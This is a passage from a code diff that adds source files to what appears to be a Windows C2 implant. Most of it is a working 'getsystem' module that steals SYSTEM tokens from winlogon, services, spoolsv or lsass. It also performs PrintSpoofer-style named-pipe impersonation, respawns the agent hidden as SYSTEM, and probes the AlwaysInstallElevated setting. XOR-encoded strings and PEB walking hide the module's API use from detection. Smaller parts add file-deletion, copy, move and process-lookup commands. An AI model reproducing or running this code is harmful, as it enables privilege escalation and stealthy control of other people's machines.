||||
"[mkdir] failed: %s err=%lu\n", path, err);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* delete a file or empty directory */
|
||||
|
||||
int cmd_rm(const char *path, char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!path || !path[0]) {
|
||||
snprintf(output_buf, output_size, "[rm] usage: rm <path>\n");
|
||||
return -1;
|
||||
}
|
||||
DWORD attr = GetFileAttributesA(path);
|
||||
if (attr == INVALID_FILE_ATTRIBUTES) {
|
||||
snprintf(output_buf, output_size,
|
||||
"[rm] not found: %s\n", path);
|
||||
return -1;
|
||||
}
|
||||
|
||||
BOOL ok;
|
||||
if (attr & FILE_ATTRIBUTE_DIRECTORY)
|
||||
ok = RemoveDirectoryA(path);
|
||||
else
|
||||
ok = DeleteFileA(path);
|
||||
|
||||
if (ok) {
|
||||
snprintf(output_buf, output_size, "[rm] deleted: %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
snprintf(output_buf, output_size,
|
||||
"[rm] failed: %s err=%lu\n", path, GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* ---- cp ---- */
|
||||
|
||||
int cmd_cp(const char *src, const char *dst, char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!src || !src[0] || !dst || !dst[0]) {
|
||||
snprintf(output_buf, output_size, "[cp] usage: cp <src> <dst>\n");
|
||||
return -1;
|
||||
}
|
||||
if (CopyFileA(src, dst, FALSE)) {
|
||||
snprintf(output_buf, output_size, "[cp] %s -> %s\n", src, dst);
|
||||
return 0;
|
||||
}
|
||||
snprintf(output_buf, output_size,
|
||||
"[cp] failed: %s -> %s err=%lu\n", src, dst, GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* ---- mv ---- */
|
||||
|
||||
int cmd_mv(const char *src, const char *dst, char *output_buf, size_t output_size)
|
||||
{
|
||||
if (!src || !src[0] || !dst || !dst[0]) {
|
||||
snprintf(output_buf, output_size, "[mv] usage: mv <src> <dst>\n");
|
||||
return -1;
|
||||
}
|
||||
if (MoveFileExA(src, dst, MOVEFILE_REPLACE_EXISTING | MOVEFILE_COPY_ALLOWED)) {
|
||||
snprintf(output_buf, output_size, "[mv] %s -> %s\n", src, dst);
|
||||
return 0;
|
||||
}
|
||||
snprintf(output_buf, output_size,
|
||||
"[mv] failed: %s -> %s err=%lu\n", src, dst, GetLastError());
|
||||
return -1;
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
int cmd_getpid(const char *name, char *out, size_t sz)
|
||||
{
|
||||
if (!name || !name[0]) {
|
||||
snprintf(out, sz, "[getpid] usage: getpid <process_name>\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE) {
|
||||
snprintf(out, sz, "[getpid] snapshot failed: %lu\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
PROCESSENTRY32 pe = { sizeof(pe) };
|
||||
size_t off = 0;
|
||||
int found = 0;
|
||||
|
||||
/* build name_exe: append .exe if not already present */
|
||||
char name_exe[MAX_PATH];
|
||||
strncpy(name_exe, name, sizeof(name_exe) - 5);
|
||||
name_exe[sizeof(name_exe) - 5] = '\0';
|
||||
size_t nlen = strlen(name_exe);
|
||||
if (nlen < 4 || _stricmp(name_exe + nlen - 4, ".exe") != 0)
|
||||
strcat(name_exe, ".exe");
|
||||
|
||||
if (Process32First(snap, &pe)) do {
|
||||
if (_stricmp(pe.szExeFile, name) == 0 ||
|
||||
_stricmp(pe.szExeFile, name_exe) == 0) {
|
||||
int n = snprintf(out + off, sz - off, "%lu\t%s\n",
|
||||
(unsigned long)pe.th32ProcessID, pe.szExeFile);
|
||||
if (n > 0) off += (size_t)n;
|
||||
found++;
|
||||
}
|
||||
} while (Process32Next(snap, &pe) && off < sz - 1);
|
||||
|
||||
CloseHandle(snap);
|
||||
|
||||
if (!found) {
|
||||
snprintf(out, sz, "[getpid] no process named '%s'\n", name);
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,560 @@
|
||||
#include "evasion.h"
|
||||
#include "inject.h"
|
||||
#include "beacon.h"
|
||||
#include "evs_strings.h"
|
||||
#include "peb_walk.h"
|
||||
#include "adv_lazy.h"
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
/* GetComputerNameW */
|
||||
typedef BOOL(WINAPI *_GCNW_t)(LPWSTR, LPDWORD);
|
||||
static BOOL _gcnw(LPWSTR buf, LPDWORD sz)
|
||||
{
|
||||
static _GCNW_t fn = NULL;
|
||||
if (!fn)
|
||||
{
|
||||
char fs[20], ks[14];
|
||||
volatile unsigned char xk = EVS_KEY;
|
||||
for (int i = 0; i < (int)sizeof(EVS_fn_GetComputerNameW); i++)
|
||||
fs[i] = (char)(EVS_fn_GetComputerNameW[i] ^ xk);
|
||||
fs[sizeof(EVS_fn_GetComputerNameW)] = '\0';
|
||||
for (int i = 0; i < (int)sizeof(EVS_dll_kernel32); i++)
|
||||
ks[i] = (char)(EVS_dll_kernel32[i] ^ xk);
|
||||
ks[sizeof(EVS_dll_kernel32)] = '\0';
|
||||
HMODULE m = _peb_module(ks);
|
||||
SecureZeroMemory(ks, sizeof(ks));
|
||||
if (m)
|
||||
fn = (_GCNW_t)(void *)GetProcAddress(m, fs);
|
||||
SecureZeroMemory(fs, sizeof(fs));
|
||||
}
|
||||
return fn ? fn(buf, sz) : FALSE;
|
||||
}
|
||||
|
||||
/* All advapi32 / kernel32 token/pipe APIs resolved at runtime. */
|
||||
typedef BOOL(WINAPI *fn_OpenProcessToken_t)(HANDLE, DWORD, PHANDLE);
|
||||
typedef BOOL(WINAPI *fn_OpenThreadToken_t)(HANDLE, DWORD, BOOL, PHANDLE);
|
||||
typedef BOOL(WINAPI *fn_DuplicateTokenEx_t)(HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE);
|
||||
typedef BOOL(WINAPI *fn_GetTokenInformation_t)(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD);
|
||||
typedef BOOL(WINAPI *fn_SetThreadToken_t)(PHANDLE, HANDLE);
|
||||
typedef BOOL(WINAPI *fn_RevertToSelf_t)(void);
|
||||
typedef BOOL(WINAPI *fn_LookupPrivilegeValueA_t)(LPCSTR, LPCSTR, PLUID);
|
||||
typedef BOOL(WINAPI *fn_PrivilegeCheck_t)(HANDLE, PPRIVILEGE_SET, LPBOOL);
|
||||
typedef BOOL(WINAPI *fn_AllocateAndInitializeSid_t)(PSID_IDENTIFIER_AUTHORITY, BYTE, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, PSID *);
|
||||
typedef BOOL(WINAPI *fn_EqualSid_t)(PSID, PSID);
|
||||
typedef PVOID(WINAPI *fn_FreeSid_t)(PSID);
|
||||
typedef BOOL(WINAPI *fn_ImpersonateNamedPipeClient_t)(HANDLE);
|
||||
typedef HANDLE(WINAPI *fn_CreateNamedPipeA_t)(LPCSTR, DWORD, DWORD, DWORD, DWORD, DWORD, DWORD, LPSECURITY_ATTRIBUTES);
|
||||
typedef BOOL(WINAPI *fn_ConnectNamedPipe_t)(HANDLE, LPOVERLAPPED);
|
||||
typedef BOOL(WINAPI *fn_CreateProcessWithTokenW_t)(HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
|
||||
typedef BOOL(WINAPI *fn_CreateProcessAsUserW_t)(HANDLE, LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
|
||||
|
||||
typedef struct
|
||||
{
|
||||
fn_OpenProcessToken_t OpenProcessToken;
|
||||
fn_OpenThreadToken_t OpenThreadToken;
|
||||
fn_DuplicateTokenEx_t DuplicateTokenEx;
|
||||
fn_GetTokenInformation_t GetTokenInformation;
|
||||
fn_SetThreadToken_t SetThreadToken;
|
||||
fn_RevertToSelf_t RevertToSelf;
|
||||
fn_LookupPrivilegeValueA_t LookupPrivilegeValueA;
|
||||
fn_PrivilegeCheck_t PrivilegeCheck;
|
||||
fn_AllocateAndInitializeSid_t AllocateAndInitializeSid;
|
||||
fn_EqualSid_t EqualSid;
|
||||
fn_FreeSid_t FreeSid;
|
||||
fn_ImpersonateNamedPipeClient_t ImpersonateNamedPipeClient;
|
||||
fn_CreateNamedPipeA_t CreateNamedPipeA;
|
||||
fn_ConnectNamedPipe_t ConnectNamedPipe;
|
||||
fn_CreateProcessWithTokenW_t CreateProcessWithTokenW;
|
||||
fn_CreateProcessAsUserW_t CreateProcessAsUserW;
|
||||
} gs_api_t;
|
||||
|
||||
static int _resolve_apis(gs_api_t *api)
|
||||
{
|
||||
/* APIs already EVS-resolved by adv_lazy — reuse, no duplicate resolution */
|
||||
const adv_api_t *adv = adv_get();
|
||||
if (!adv) return -1;
|
||||
api->OpenProcessToken = adv->OpenProcessToken;
|
||||
api->OpenThreadToken = adv->OpenThreadToken;
|
||||
api->DuplicateTokenEx = adv->DuplicateTokenEx;
|
||||
api->LookupPrivilegeValueA = adv->LookupPrivilegeValueA;
|
||||
api->RevertToSelf = adv->RevertToSelf;
|
||||
|
||||
/* Module handles via EVS-decoded names + PEB walk — no plaintext in binary */
|
||||
char dll_a[13], dll_k[13];
|
||||
EVS_D(dll_a, EVS_dll_advapi32);
|
||||
EVS_D(dll_k, EVS_dll_kernel32);
|
||||
HMODULE had = _peb_module(dll_a);
|
||||
HMODULE hk32 = _peb_module(dll_k);
|
||||
SecureZeroMemory(dll_a, sizeof(dll_a));
|
||||
SecureZeroMemory(dll_k, sizeof(dll_k));
|
||||
if (!had || !hk32) return -1;
|
||||
|
||||
/* Remaining APIs — EVS XOR bytes at rest, decoded to stack, cleared after use */
|
||||
char fn[28];
|
||||
|
||||
EVS_D(fn, EVS_fn_GetTokenInformation);
|
||||
api->GetTokenInformation = (fn_GetTokenInformation_t)(void *)GetProcAddress(had, fn);
|
||||
SecureZeroMemory(fn, sizeof(fn));
|
||||
|
||||
EVS_D(fn, EVS_fn_SetThreadToken);
|
||||
api->SetThreadToken = (fn_SetThreadToken_t)(void *)GetProcAddress(had, fn);
|
||||
SecureZeroMemory(fn, sizeof(fn));
|
||||
|
||||
EVS_D(fn, EVS_fn_PrivilegeCheck);
|
||||
api->PrivilegeCheck = (fn_PrivilegeCheck_t)(void *)GetProcAddress(had, fn);
|
||||
SecureZeroMemory(fn, sizeof(fn));
|
||||
|
||||
EVS_D(fn, EVS_fn_AllocateAndInitializeSid);
|
||||
api->AllocateAndInitializeSid = (fn_AllocateAndInitializeSid_t)(void *)GetProcAddress(had, fn);
|
||||
SecureZeroMemory(fn, sizeof(fn));
|
||||
|
||||
EVS_D(fn, EVS_fn_EqualSid);
|
||||
api->EqualSid = (fn_EqualSid_t)(void *)GetProcAddress(had, fn);
|
||||
SecureZeroMemory(fn, sizeof(fn));
|
||||
|
||||
EVS_D(fn, EVS_fn_FreeSid);
|
||||
api->FreeSid = (fn_FreeSid_t)(void *)GetProcAddress(had, fn);
|
||||
SecureZeroMemory(fn, sizeof(fn));
|
||||
|
||||
EVS_D(fn, EVS_fn_ImpersonateNamedPipeClient);
|
||||
api->ImpersonateNamedPipeClient = (fn_ImpersonateNamedPipeClient_t)(void *)GetProcAddress(had, fn);
|
||||
SecureZeroMemory(fn, sizeof(fn));
|
||||
|
||||
EVS_D(fn, EVS_fn_CreateProcessWithTokenW);
|
||||
api->CreateProcessWithTokenW = (fn_CreateProcessWithTokenW_t)(void *)GetProcAddress(had, fn);
|
||||
SecureZeroMemory(fn, sizeof(fn));
|
||||
|
||||
EVS_D(fn, EVS_fn_CreateProcessAsUserW);
|
||||
api->CreateProcessAsUserW = (fn_CreateProcessAsUserW_t)(void *)GetProcAddress(had, fn);
|
||||
SecureZeroMemory(fn, sizeof(fn));
|
||||
|
||||
EVS_D(fn, EVS_fn_CreateNamedPipeA);
|
||||
api->CreateNamedPipeA = (fn_CreateNamedPipeA_t)(void *)GetProcAddress(hk32, fn);
|
||||
SecureZeroMemory(fn, sizeof(fn));
|
||||
|
||||
EVS_D(fn, EVS_fn_ConnectNamedPipe);
|
||||
api->ConnectNamedPipe = (fn_ConnectNamedPipe_t)(void *)GetProcAddress(hk32, fn);
|
||||
SecureZeroMemory(fn, sizeof(fn));
|
||||
|
||||
return (api->OpenProcessToken && api->DuplicateTokenEx &&
|
||||
api->ImpersonateNamedPipeClient && api->CreateNamedPipeA)
|
||||
? 0 : -1;
|
||||
}
|
||||
|
||||
static int _is_system_sid(gs_api_t *api, HANDLE hToken)
|
||||
{
|
||||
BYTE buf[256];
|
||||
DWORD cb = sizeof(buf);
|
||||
if (!api->GetTokenInformation(hToken, TokenUser, buf, cb, &cb))
|
||||
return 0;
|
||||
TOKEN_USER *tu = (TOKEN_USER *)buf;
|
||||
PSID sys = NULL;
|
||||
SID_IDENTIFIER_AUTHORITY auth = SECURITY_NT_AUTHORITY;
|
||||
if (!api->AllocateAndInitializeSid(&auth, 1, SECURITY_LOCAL_SYSTEM_RID,
|
||||
0, 0, 0, 0, 0, 0, 0, &sys))
|
||||
return 0;
|
||||
int r = api->EqualSid(tu->User.Sid, sys);
|
||||
api->FreeSid(sys);
|
||||
return r;
|
||||
}
|
||||
|
||||
/* Method 1: token theft from a SYSTEM process */
|
||||
|
||||
static int _steal_system_token(gs_api_t *api, HANDLE *out, char *buf, size_t sz)
|
||||
{
|
||||
volatile unsigned char _k = EVS_KEY;
|
||||
char t0[13], t1[13], t2[12], t3[10];
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_winlogon_exe); _i++)
|
||||
t0[_i] = (char)(EVS_str_winlogon_exe[_i] ^ _k);
|
||||
t0[sizeof(EVS_str_winlogon_exe)] = 0;
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_services_exe); _i++)
|
||||
t1[_i] = (char)(EVS_str_services_exe[_i] ^ _k);
|
||||
t1[sizeof(EVS_str_services_exe)] = 0;
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_spoolsv_exe); _i++)
|
||||
t2[_i] = (char)(EVS_str_spoolsv_exe[_i] ^ _k);
|
||||
t2[sizeof(EVS_str_spoolsv_exe)] = 0;
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_lsass_exe); _i++)
|
||||
t3[_i] = (char)(EVS_str_lsass_exe[_i] ^ _k);
|
||||
t3[sizeof(EVS_str_lsass_exe)] = 0;
|
||||
const char *targets[] = {t0, t1, t2, t3, NULL};
|
||||
|
||||
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (snap == INVALID_HANDLE_VALUE)
|
||||
return -1;
|
||||
|
||||
PROCESSENTRY32 pe = {sizeof(pe)};
|
||||
int found = 0;
|
||||
|
||||
if (Process32First(snap, &pe))
|
||||
do
|
||||
{
|
||||
int hit = 0;
|
||||
for (int i = 0; targets[i]; i++)
|
||||
if (_stricmp(pe.szExeFile, targets[i]) == 0)
|
||||
{
|
||||
hit = 1;
|
||||
break;
|
||||
}
|
||||
if (!hit)
|
||||
continue;
|
||||
|
||||
/* indirect NtOpenProcess */
|
||||
HANDLE hp = inject_nt_open_process(pe.th32ProcessID, PROCESS_QUERY_INFORMATION);
|
||||
if (!hp)
|
||||
continue;
|
||||
|
||||
HANDLE ht = NULL;
|
||||
if (!api->OpenProcessToken(hp, TOKEN_DUPLICATE | TOKEN_QUERY, &ht))
|
||||
{
|
||||
CloseHandle(hp);
|
||||
continue;
|
||||
}
|
||||
CloseHandle(hp);
|
||||
|
||||
if (!_is_system_sid(api, ht))
|
||||
{
|
||||
CloseHandle(ht);
|
||||
continue;
|
||||
}
|
||||
|
||||
HANDLE hdup = NULL;
|
||||
SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, FALSE};
|
||||
BOOL ok = api->DuplicateTokenEx(ht, TOKEN_ALL_ACCESS, &sa,
|
||||
SecurityImpersonation, TokenImpersonation, &hdup);
|
||||
CloseHandle(ht);
|
||||
if (!ok)
|
||||
continue;
|
||||
|
||||
*out = hdup;
|
||||
snprintf(buf, sz, "ok:t %lu\n", (unsigned long)pe.th32ProcessID);
|
||||
found = 1;
|
||||
break;
|
||||
} while (Process32Next(snap, &pe));
|
||||
|
||||
CloseHandle(snap);
|
||||
return found ? 0 : -1;
|
||||
}
|
||||
|
||||
/* Method 2: named pipe impersonation (PrintSpoofer-style) */
|
||||
|
||||
typedef struct
|
||||
{
|
||||
gs_api_t *api;
|
||||
HANDLE pipe;
|
||||
HANDLE token;
|
||||
volatile int done;
|
||||
} _pipe_ctx;
|
||||
|
||||
static DWORD WINAPI _pipe_thread(LPVOID p)
|
||||
{
|
||||
evasion_apply_thread(GetCurrentThread());
|
||||
|
||||
_pipe_ctx *ctx = (_pipe_ctx *)p;
|
||||
gs_api_t *api = ctx->api;
|
||||
|
||||
if (!api->ConnectNamedPipe(ctx->pipe, NULL) &&
|
||||
GetLastError() != ERROR_PIPE_CONNECTED)
|
||||
{
|
||||
ctx->done = -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (!api->ImpersonateNamedPipeClient(ctx->pipe))
|
||||
{
|
||||
ctx->done = -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
HANDLE ht = NULL;
|
||||
if (!api->OpenThreadToken(GetCurrentThread(), TOKEN_DUPLICATE | TOKEN_QUERY, FALSE, &ht))
|
||||
{
|
||||
api->RevertToSelf();
|
||||
ctx->done = -1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, FALSE};
|
||||
api->DuplicateTokenEx(ht, TOKEN_ALL_ACCESS, &sa,
|
||||
SecurityImpersonation, TokenImpersonation, &ctx->token);
|
||||
CloseHandle(ht);
|
||||
api->RevertToSelf();
|
||||
ctx->done = 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int _pipe_impersonate(gs_api_t *api, HANDLE *out, char *buf, size_t sz)
|
||||
{
|
||||
DWORD tick = GetTickCount();
|
||||
|
||||
char pipe_a[128];
|
||||
snprintf(pipe_a, sizeof(pipe_a),
|
||||
"\\\\.\\pipe\\svc%04lx\\pipe\\spoolss", tick & 0xFFFF);
|
||||
|
||||
HANDLE hp = api->CreateNamedPipeA(pipe_a,
|
||||
PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
|
||||
PIPE_TYPE_BYTE | PIPE_WAIT, 1, 4096, 4096, 0, NULL);
|
||||
if (hp == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
snprintf(buf, sz, "e:np %lu\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* heap-allocate ctx so the thread never touches freed stack */
|
||||
_pipe_ctx *ctx = (_pipe_ctx *)calloc(1, sizeof(_pipe_ctx));
|
||||
if (!ctx)
|
||||
{
|
||||
CloseHandle(hp);
|
||||
return -1;
|
||||
}
|
||||
ctx->api = api;
|
||||
ctx->pipe = hp;
|
||||
|
||||
HANDLE ht = CreateThread(NULL, 0, _pipe_thread, ctx, 0, NULL);
|
||||
if (!ht)
|
||||
{
|
||||
CloseHandle(hp);
|
||||
free(ctx);
|
||||
return -1;
|
||||
}
|
||||
|
||||
char dll_ws[13], fn_opw[13], fn_cpr[13];
|
||||
EVS_D(dll_ws, EVS_dll_winspool);
|
||||
HMODULE hw = LoadLibraryA(dll_ws);
|
||||
SecureZeroMemory(dll_ws, sizeof(dll_ws));
|
||||
if (hw)
|
||||
{
|
||||
typedef BOOL(WINAPI * fnOPW)(LPWSTR, HANDLE *, LPVOID);
|
||||
typedef BOOL(WINAPI * fnCPR)(HANDLE);
|
||||
EVS_D(fn_opw, EVS_fn_OpenPrinterW);
|
||||
EVS_D(fn_cpr, EVS_fn_ClosePrinter);
|
||||
fnOPW pOPW = (fnOPW)(void *)GetProcAddress(hw, fn_opw);
|
||||
fnCPR pCPR = (fnCPR)(void *)GetProcAddress(hw, fn_cpr);
|
||||
SecureZeroMemory(fn_opw, sizeof(fn_opw));
|
||||
SecureZeroMemory(fn_cpr, sizeof(fn_cpr));
|
||||
if (pOPW)
|
||||
{
|
||||
wchar_t host[MAX_COMPUTERNAME_LENGTH + 2];
|
||||
DWORD hsz = MAX_COMPUTERNAME_LENGTH + 1;
|
||||
_gcnw(host, &hsz);
|
||||
wchar_t trigger[256];
|
||||
_snwprintf(trigger, 256, L"\\\\%s/pipe/svc%04lx", host, tick & 0xFFFF);
|
||||
HANDLE hpr = NULL;
|
||||
pOPW(trigger, &hpr, NULL);
|
||||
if (hpr && pCPR)
|
||||
pCPR(hpr);
|
||||
}
|
||||
FreeLibrary(hw);
|
||||
}
|
||||
|
||||
/* wait for thread; terminate if it didn't finish in time */
|
||||
DWORD w = WaitForSingleObject(ht, 3000);
|
||||
if (w != WAIT_OBJECT_0)
|
||||
TerminateThread(ht, 0);
|
||||
CloseHandle(ht);
|
||||
CloseHandle(hp);
|
||||
|
||||
HANDLE tok = ctx->token;
|
||||
int done = ctx->done;
|
||||
free(ctx);
|
||||
|
||||
if (done != 1 || !tok)
|
||||
{
|
||||
snprintf(buf, sz, "e:pipe\n");
|
||||
if (tok)
|
||||
CloseHandle(tok);
|
||||
return -1;
|
||||
}
|
||||
*out = tok;
|
||||
snprintf(buf, sz, "ok:p\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Method 3: spawn agent as SYSTEM via primary token */
|
||||
|
||||
static int _spawn_as_system(gs_api_t *api, HANDLE hImpTok, char *buf, size_t sz)
|
||||
{
|
||||
if (!api->CreateProcessWithTokenW && !api->CreateProcessAsUserW)
|
||||
return -1;
|
||||
|
||||
/* Duplicate impersonation token to primary token */
|
||||
HANDLE hPrim = NULL;
|
||||
SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, FALSE};
|
||||
if (!api->DuplicateTokenEx(hImpTok, TOKEN_ALL_ACCESS, &sa,
|
||||
SecurityImpersonation, TokenPrimary, &hPrim))
|
||||
{
|
||||
size_t off = strlen(buf);
|
||||
snprintf(buf + off, sz - off,
|
||||
"[gs] dup→primary failed: %lu\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
WCHAR exe[MAX_PATH] = {0};
|
||||
GetModuleFileNameW(NULL, exe, MAX_PATH);
|
||||
|
||||
/* Tag child so C2 links it to this session. No gs_flagchild is already SYSTEM. */
|
||||
char own_id[AGENT_ID_LEN + 1];
|
||||
agent_gen_id(own_id);
|
||||
agent_write_parent_id(own_id);
|
||||
|
||||
STARTUPINFOW si = {sizeof(si)};
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;
|
||||
si.wShowWindow = SW_HIDE;
|
||||
PROCESS_INFORMATION pi = {0};
|
||||
|
||||
BOOL ok = FALSE;
|
||||
DWORD flags = CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP;
|
||||
|
||||
if (api->CreateProcessWithTokenW)
|
||||
ok = api->CreateProcessWithTokenW(
|
||||
hPrim, LOGON_WITH_PROFILE, exe, NULL, flags, NULL, NULL, &si, &pi);
|
||||
|
||||
if (!ok && api->CreateProcessAsUserW)
|
||||
{
|
||||
/* LOGON_WITH_PROFILE not needed for CreateProcessAsUserW */
|
||||
HANDLE hPrim2 = NULL;
|
||||
if (api->DuplicateTokenEx(hImpTok, TOKEN_ALL_ACCESS, &sa,
|
||||
SecurityImpersonation, TokenPrimary, &hPrim2))
|
||||
{
|
||||
ok = api->CreateProcessAsUserW(
|
||||
hPrim2, exe, NULL, NULL, NULL, FALSE, flags, NULL, NULL, &si, &pi);
|
||||
CloseHandle(hPrim2);
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(hPrim);
|
||||
|
||||
if (!ok)
|
||||
{
|
||||
size_t off = strlen(buf);
|
||||
snprintf(buf + off, sz - off, "e:cp %lu\n", GetLastError());
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (pi.hProcess)
|
||||
CloseHandle(pi.hProcess);
|
||||
if (pi.hThread)
|
||||
CloseHandle(pi.hThread);
|
||||
size_t off = strlen(buf);
|
||||
snprintf(buf + off, sz - off, "ok:s %lu\n", (unsigned long)pi.dwProcessId);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* AlwaysInstallElevated check */
|
||||
|
||||
static void _check_aie(char *buf, size_t sz)
|
||||
{
|
||||
volatile unsigned char _k = EVS_KEY;
|
||||
char _rp[52], _rv[22];
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_reg_installer_policy); _i++)
|
||||
_rp[_i] = (char)(EVS_str_reg_installer_policy[_i] ^ _k);
|
||||
_rp[sizeof(EVS_str_reg_installer_policy)] = '\0';
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_AlwaysInstallElevated); _i++)
|
||||
_rv[_i] = (char)(EVS_str_AlwaysInstallElevated[_i] ^ _k);
|
||||
_rv[sizeof(EVS_str_AlwaysInstallElevated)] = '\0';
|
||||
|
||||
DWORD hklm = 0, hkcu = 0, cb = sizeof(DWORD);
|
||||
RegGetValueA(HKEY_LOCAL_MACHINE, _rp, _rv, RRF_RT_REG_DWORD, NULL, &hklm, &cb);
|
||||
cb = sizeof(DWORD);
|
||||
RegGetValueA(HKEY_CURRENT_USER, _rp, _rv, RRF_RT_REG_DWORD, NULL, &hkcu, &cb);
|
||||
SecureZeroMemory(_rp, sizeof(_rp));
|
||||
SecureZeroMemory(_rv, sizeof(_rv));
|
||||
|
||||
size_t off = strlen(buf);
|
||||
if (off >= sz - 1)
|
||||
return;
|
||||
if (hklm == 1 && hkcu == 1)
|
||||
{
|
||||
char _t1[] = {'[', 'g', 's', ']', ' ', 'A', 'I', 'E', '=', 'V', 'U', 'L', 'N',
|
||||
'E', 'R', 'A', 'B', 'L', 'E', ' ', '(', 'H', 'K', 'L', 'M', '+',
|
||||
'H', 'K', 'C', 'U', '=', '1', ')', '\n', 0};
|
||||
snprintf(buf + off, sz - off, "%s", _t1);
|
||||
}
|
||||
else
|
||||
snprintf(buf + off, sz - off,
|
||||
"[gs] AIE=no (HKLM=%lu HKCU=%lu)\n",
|
||||
hklm, hkcu);
|
||||
}
|
||||
|
||||
int cmd_getsystem(const char *args, char *out, size_t sz)
|
||||
{
|
||||
(void)args;
|
||||
memset(out, 0, sz);
|
||||
|
||||
gs_api_t api;
|
||||
if (_resolve_apis(&api) != 0)
|
||||
{
|
||||
snprintf(out, sz, "e:api\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* check SeImpersonatePrivilege */
|
||||
{
|
||||
HANDLE htok = NULL;
|
||||
if (api.OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htok))
|
||||
{
|
||||
LUID luid = {0};
|
||||
char _sp[24];
|
||||
volatile unsigned char _k = EVS_KEY;
|
||||
for (int _i = 0; _i < (int)sizeof(EVS_str_SeImpersonatePrivilege); _i++)
|
||||
_sp[_i] = (char)(EVS_str_SeImpersonatePrivilege[_i] ^ _k);
|
||||
_sp[sizeof(EVS_str_SeImpersonatePrivilege)] = '\0';
|
||||
api.LookupPrivilegeValueA(NULL, _sp, &luid);
|
||||
SecureZeroMemory(_sp, sizeof(_sp));
|
||||
PRIVILEGE_SET ps;
|
||||
ps.PrivilegeCount = 1;
|
||||
ps.Control = 0;
|
||||
ps.Privilege[0].Luid = luid;
|
||||
ps.Privilege[0].Attributes = 0;
|
||||
BOOL has = FALSE;
|
||||
api.PrivilegeCheck(htok, &ps, &has);
|
||||
CloseHandle(htok);
|
||||
if (!has)
|
||||
{
|
||||
char _nm[] = {'[', 'g', 's', ']', ' ', 'S', 'e', 'I', 'm', 'p', 'e', 'r', 's', 'o',
|
||||
'n', 'a', 't', 'e', ' ', 'n', 'o', 't', ' ', 'h', 'e', 'l', 'd', '\n', 0};
|
||||
snprintf(out, sz, "%s", _nm);
|
||||
_check_aie(out, sz);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
evasion_apply_thread(GetCurrentThread());
|
||||
|
||||
HANDLE sys_tok = NULL;
|
||||
int rc = _steal_system_token(&api, &sys_tok, out, sz);
|
||||
if (rc != 0)
|
||||
rc = _pipe_impersonate(&api, &sys_tok, out, sz);
|
||||
|
||||
if (rc == 0 && sys_tok)
|
||||
{
|
||||
/* Primary: spawn agent with primary SYSTEM token (bypasses GPO/AppLocker) */
|
||||
int spawn_rc = _spawn_as_system(&api, sys_tok, out, sz);
|
||||
|
||||
/* Also apply thread impersonation so current session is SYSTEM */
|
||||
api.SetThreadToken(NULL, sys_tok);
|
||||
CloseHandle(sys_tok);
|
||||
|
||||
if (spawn_rc == 0)
|
||||
{
|
||||
size_t off = strlen(out);
|
||||
if (off < sz - 1)
|
||||
snprintf(out + off, sz - off, "ok\n");
|
||||
return 0;
|
||||
}
|
||||
size_t off = strlen(out);
|
||||
if (off < sz - 1)
|
||||
snprintf(out + off, sz - off, "ok:thr\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
size_t off = strlen(out);
|
||||
if (off < sz - 1)
|
||||
snprintf(out + off, sz - off, "e:all\n");
|
||||
_check_aie(out, sz);
|
||||
return -1;
|
||||
}
|
||||
@@ -0,0 +1,122 @@
|
||||
#include "commands.h"
|
||||
#include "adv_lazy.h"
|
||||
#include <windows.h>
|
||||
